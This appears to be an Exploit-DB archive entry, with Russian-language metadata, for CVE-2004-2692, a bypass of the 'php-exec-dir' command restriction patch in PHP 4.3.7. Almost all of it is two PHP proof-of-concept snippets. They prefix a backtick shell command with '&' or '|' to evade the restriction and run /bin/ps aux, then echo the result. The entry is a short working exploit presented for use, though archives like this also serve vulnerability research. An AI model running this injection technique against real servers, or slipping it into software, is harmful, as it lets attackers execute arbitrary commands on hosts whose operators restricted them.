Exploit PHP 4.3.7 - 'php-exec-dir' Patch Command Access Restriction Bypass

[Exploiter]

EDB-ID

384

Проверка EDB

1. Пройдено

Автор

VENOMOUS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2004-2692

Дата публикации

2004-08-08

<?php 
$blah = `& /bin/ps aux`; 
echo nl2br($blah); 
?> 

<?php 
$blah = `| /bin/ps aux`; 
echo nl2br($blah); 
?> 


# milw0rm.com [2004-08-08]